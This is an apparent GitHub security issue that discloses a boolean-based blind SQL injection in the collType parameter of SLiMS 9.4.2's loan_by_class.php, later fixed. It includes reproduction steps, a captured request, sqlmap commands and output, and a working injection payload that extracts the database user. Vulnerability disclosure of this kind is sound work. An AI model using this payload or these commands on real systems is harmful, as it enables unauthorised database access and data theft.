

New issue

[Jump to bottom](#)

# [Security Bug] Boolean SQL Injection in loan\_by\_class.php

## #163

Closed

0xdc9 opened this issue on Oct 16 · 0 comments

Labels

bug

0xdc9 commented on Oct 16

### Describe the bug

An unsanitized collType parameter can be used to perform boolean base blind SQL Injection attack

### To Reproduce

1. Log in as admin
2. go to [http://localhost/admin/modules/reporting/customs/loan\\_by\\_class.php?reportView=true&year=2002&class=bbbb&membershipType=a&collType=aaaa](http://localhost/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=bbbb&membershipType=a&collType=aaaa)
3. capture the request and save it to a file
4. use sqlmap with this command `sqlmap -r <capture_http_req >.req --level 5 --risk 3 --dbms=mysql -p collType --technique=B --current-user`

### Screenshots

1. bredel.req

```
sh-3.2$ cat bredel.req
GET /Hly4AaAa/slims9_bulian-9.4.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=bbbb&membershipType=a&collType=aaaa HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=13c665b9f6d65plvdibc3cicud; admin_logged_in=1; SenayanMember=6p19pt0cn2d5710q07005t3vkv
Connection: close
```

2. sqlmap first run without getting anything from the database

```

sh-3.2$ sudo sqlmap -r bredel.req --level 5 --risk 3 --dbms=mysql -p collType --technique=B
{1.4.4#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and f
[*] starting @ 21:20:39 /2022-10-16/

[21:20:39] [INFO] parsing HTTP request from 'bredel.req'
[21:20:40] [INFO] testing connection to the target URL
[21:20:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:20:43] [INFO] testing if the target URL content is stable
[21:20:43] [INFO] target URL content is stable
[21:20:44] [WARNING] heuristic (basic) test shows that GET parameter 'collType' might not be injectable
[21:20:44] [INFO] testing for SQL injection on GET parameter 'collType'
[21:20:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:20:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:20:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[21:21:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[21:21:07] [INFO] GET parameter 'collType' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --code=200)
[21:21:07] [INFO] checking if the injection point on GET parameter 'collType' is a false positive
[21:21:07] [INFO] GET parameter 'collType' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 319 HTTP(s) requests:

Parameter: collType (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: reportView=true&year=2002&class=bbb&membershipType=a&collType=aaaa' AND 2034=(SELECT (CASE WHEN (2034=2034) THEN 2034 ELSE (SELECT 6177 UNION SELECT 9805) END))--
[21:21:12] [INFO] testing MySQL
[21:21:13] [INFO] confirming MySQL
[21:21:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 8.0.0

```

### 3. sqlmap get current user

```

sh-3.2$ sudo sqlmap -r bredel.req --level 5 --risk 3 --dbms=mysql -p collType --technique=B --current-user
{1.4.4#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and f
[*] starting @ 21:21:44 /2022-10-16/

[21:21:44] [INFO] parsing HTTP request from 'bredel.req'
[21:21:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: collType (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: reportView=true&year=2002&class=bbb&membershipType=a&collType=aaaa' AND 2034=(SELECT (CASE WHEN (2034=2034) THEN 2034 ELSE (SELECT 6177 UNION SELECT 9805) END))--
[21:21:44] [INFO] testing MySQL
[21:21:44] [INFO] confirming MySQL
[21:21:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 8.0.0
[21:21:44] [INFO] fetching current user
[21:21:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:21:44] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[21:21:53] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 40 times

```

### Versions

- OS: Kali Linux(Debian) 2021
- Browser: Firefox 78.7.0.esr(64-bit)
- Slims Version: slims9\_bulian-9.4.2

  0xdc9 added the bug label on Oct 16

 drajathasan added a commit that referenced this issue 8 days ago

 Fix issue #163

a07958d



0xdc9 closed this as completed 2 days ago

---

#### Assignees

No one assigned

---

#### Labels

bug

---

#### Projects

None yet

---

#### Milestone

No milestone

---

#### Development

No branches or pull requests

---

1 participant

